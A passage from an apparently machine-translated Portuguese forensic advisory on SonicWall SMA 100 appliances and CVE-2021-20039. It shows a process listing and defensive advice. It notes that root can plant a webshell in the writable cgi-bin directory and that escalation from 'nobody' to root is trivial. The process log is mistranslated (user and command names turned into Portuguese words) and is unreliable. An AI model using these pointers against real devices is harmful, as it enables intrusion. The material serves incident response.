/usr/src/EasyAccess/bin/anonySessionD raiz 1737 0,0 0,0 13164 1492 ? S Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD raiz 1740 0,0 0,0 14320 3484 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/firebase -d raiz 1748 0,0 0,3 45472 15316 ? Sl Nov27 0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js raiz 1749 0,0 0,0 2080 268 ? S 27 de novembro 0:00 gato raiz 1752 0,0 0,3 45308 15408 ? Sl Nov27 0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js raiz 1760 0,0 0,0 13616 2116 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/wireguard -d raiz 1779 0,8 0,2 23468 8940 ? Ss 27 de novembro 21:47 /usr/src/EasyAccess/bin/httpd raiz 1805 0,0 0,0 13852 2556 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/ftpsession -d raiz 1811 0,1 0,0 13916 3936 ? S<s Nov27 2:51 /usr/src/EasyAccess/bin/graphd -d raiz 1820 0,0 0,0 13356 1816 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/rootHelper -d raiz 1832 0,0 0,0 54412 2548 ? Ssl Nov27 0:04 /usr/src/EasyAccess/bin/dhcpcd -d raiz 1851 0,0 0,1 15968 5260 ? Ss 27 de novembro 0:06 /usr/src/EasyAccess/bin/nxlog -d raiz 1867 0,0 0,0 13304 3152 ? S Nov27 0:00 /usr/src/EasyAccess/bin/downloadclient -d raiz 1893 0,0 0,0 13204 2512 ? S Nov27 0:00 /usr/sbin/LicenseManager raiz 1894 0,0 0,0 13200 2600 ? S Nov27 0:00 /usr/sbin/PKGDownload raiz 1897 0,0 0,0 13772 3708 ? Ss 27 de novembro 0:16 /usr/src/EasyAccess/bin/HA -d raiz 1922 0,0 0,1 15224 5976 ? Ss 27 de novembro 0:00 /usr/sbin/updateAgent -d raiz 1923 0,0 0,0 13172 2556 ? S Nov27 0:06 /usr/sbin/watchdog raiz 1924 0,0 0,1 13708 4948 ? S Nov27 0:14 /usr/sbin/swMonitor raiz 2205 0,0 0,0 0 0 ? S Nov28 0:00 [kworker/u4:2] root 2379 0,0 0,0 2048 432 tty1 Ss+ Nov27 0:00 /sbin/mingetty tty1 root 2380 0,0 0,0 2048 432 tty2 Ss+ Nov27 0:00 /sbin/mingetty tty2 raiz 4284 0,0 0,0 1136 64 ? Ss 27 de novembro 0:00 ./busybox telnetd root 4301 0,0 0,0 3564 1768 pts/0 Ss+ Nov27 0:00 -cli root 4346 0,0 0,0 3488 1752 pts/1 Ss Nov27 0:00 -cli ninguém 18542 0,0 0,2 25772 12268 ? S 07:41 0:00 /usr/src/EasyAccess/bin/httpd ninguém 21363 0,0 0,7 44288 29776 ? S 08:19 0:01 /usr/src/EasyAccess/bin/httpd ninguém 24039 0,0 0,7 44344 30100 ? S 08:55 0:00 /usr/src/EasyAccess/bin/httpd ninguém 24259 0,0 0,7 44288 29776 ? S 08:58 0:01 /usr/src/EasyAccess/bin/httpd ninguém 27511 0,0 0,7 44340 30128 ? S 09:42 0:01 /usr/src/EasyAccess/bin/httpd ninguém 30092 0,0 0,2 25772 12200 ? t 03:01 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30331 1,1 0,7 44284 29316 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30382 0,0 0,2 25700 11904 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30391 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30392 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30394 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30395 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30396 0,0 0,2 25700 11908 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd ninguém 30397 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd raiz 30465 2,0 0,1 13776 4612 ? S 10:21 0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics raiz 30599 0,0 0,0 3480 1420 ? S 10:21 0:00 sh -c ps awux>>/tmp/status.txt 2>&1 raiz 30600 0,0 0,0 2556 880 ? R 10:21 0:00 ps awux
Finalmente, é importante notar que o root
usuário tem acesso de gravação ao diretório cgi-bin do servidor web ( /usr/src/EasyAccess/www/cgi-bin/
) o que pode permitir que ele carregue um webshell para o sistema. Conforme observado anteriormente, o escalonamento para root por meio do nobody
usuário é bastante trivial. Como tal, revisar o http_request.log
acesso potencial a um webshell pode ser benéfico. No entanto, as modificações cgi-bin
não persistirão entre as reinicializações (embora um sistema reinicializado seja confiável após a exploração seja outra questão).
Publicamos um módulo Metasploit para CVE-2021-20039 (injeção de comando autenticada como root
) que pode permitir uma análise forense mais profunda. No entanto, é aconselhável considerar que tipo de efeito forense você está tendo em um sistema explorando-o você mesmo.
Orientação
Aplique os patches fornecidos pela SonicWall. Se possível, limite a exposição do dispositivo a entidades válidas e ative um WAF que impeça qualquer tipo de ataque de adivinhação de endereço. Revise regularmente os logs do sistema para exploração potencial. Quando possível, aplique a orientação da SonicWall para as práticas recomendadas de segurança da série SMA 100 .